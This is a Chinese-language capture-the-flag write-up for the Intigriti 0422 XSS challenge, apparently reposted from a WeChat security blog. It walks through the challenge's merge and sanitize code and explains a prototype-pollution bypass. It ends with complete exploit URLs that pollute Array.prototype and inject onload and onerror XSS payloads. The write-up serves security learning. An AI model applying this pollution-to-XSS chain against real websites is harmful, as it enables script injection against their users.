function main() {
const qs = m.parseQueryString(location.search)
let appConfig = Object.create(null)
appConfig["version"] = 1337
appConfig["mode"] = "production"
appConfig["window-name"] = "Window"
appConfig["window-content"] = "default content"
appConfig["window-toolbar"] = ["close"]
appConfig["window-statusbar"] = false
appConfig["customMode"] = false
if(qs.config) {
merge(appConfig, qs.config)
appConfig["customMode"] = true
}
let devSettings = Object.create(null)
devSettings["root"] = document.createElement('main')
devSettings["isDebug"] = false
devSettings["location"] = 'challenge-0422.intigriti.io'
devSettings["isTestHostOrPort"] = false
if(checkHost()) {
devSettings["isTestHostOrPort"] = true
merge(devSettings, qs.settings)
}
if(devSettings["isTestHostOrPort"] || devSettings["isDebug"]) {
console.log('appConfig', appConfig)
console.log('devSettings', devSettings)
}
if(!appConfig["customMode"]) {
m.mount(devSettings.root, App)
} else{
m.mount(devSettings.root, {view: function() {
return m(CustomizedApp, {
name: appConfig["window-name"],
content: appConfig["window-content"] ,
options: appConfig["window-toolbar"],
status: appConfig["window-statusbar"]
})
}})
}
document.body.appendChild(devSettings.root)
}
function checkHost() {
const temp = location.host.split(':')
const hostname = temp[0]
const port = Number(temp[1]) || 443
return hostname === 'localhost'|| port === 8080
}
function isPrimitive(n) {
return n === null|| n === undefined|| typeof n === 'string'|| typeof n === 'boolean'|| typeof n === 'number'
}
function merge(target, source) {
let protectedKeys = ['__proto__', "mode", "version", "location", "src", "data", "m"]
for(let key in source) {
if(protectedKeys.includes(key)) continue
if(isPrimitive(target[key])) {
target[key] = sanitize(source[key])
} else{
merge(target[key], source[key])
}
}
}
function sanitize(data) {
if(typeof data !== 'string') return data
return data.replace(/[<>%&$s\]/g, '_').replace(/script/gi, '_')
}
main();
-
protectedKeys定义了一些属性,如果有这些属性,就直接跳过 -
isPrimitive用于判断数据类型,如果为 null、 undefined、 string、 boolean、 number类型的值时,会进入一个简单的过滤方法sanitize中,去掉一些特殊符号,并将给target赋予新的属性值
let a = {};
a.id = 1;
a.name = "a";
let b = {};
b.id = 1;
b.name = 2;
b.port = 3;
merge(a, b);
console.log('object a ->',a);
console.log('object b ->',b);
//object a -> { id: 1, name: 2, port: 3 }
//object b -> { id: 1, name: 2, port: 3 }
function checkHost() {
const temp = location.host.split(':')
const hostname = temp[0]
const port = Number(temp[1]) || 443
return hostname === 'localhost'|| port === 8080
}
'1'== 1
// true
a['1'] == a[1]
// true
JavaScript中,数组的下标可以用字符或是字符串数字来取值,所以在原型链中,我们可以给[]对象添加一个名称为1的属性,这样 temp在通过下标 1取值的时候,实际上取到的是数组中属性为 1的值
[].constructor.prototype['1'] = 8080
//[1: 8080, constructor: ƒ, concat: ƒ, copyWithin: ƒ, fill: ƒ, find: ƒ, …]
https://challenge-0422.intigriti.io/challenge/Window%20Maker.html?config[window-toolbar][constructor][prototype][1]=8080&settings[root][ownerDocument][body][children][1][outerHTML][1]=%3Csvg%20onload%3Dalert(1)%3E
https://challenge-0422.intigriti.io/challenge/Window%20Maker.html?config[window-toolbar][constructor][constructor][prototype][xd]
展开收缩=1&config[window-toolbar][constructor][constructor][constructor][prototype][xd][constructor][prototype][innerHTML][0]=%3Cimg%20src%3da%20onerror%3dalert(document.domain);alert%3dundefined%3E
原文始发于微信公众号(长亭安全课堂):intigriti-0422-XSS-Challenge-Write-up
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论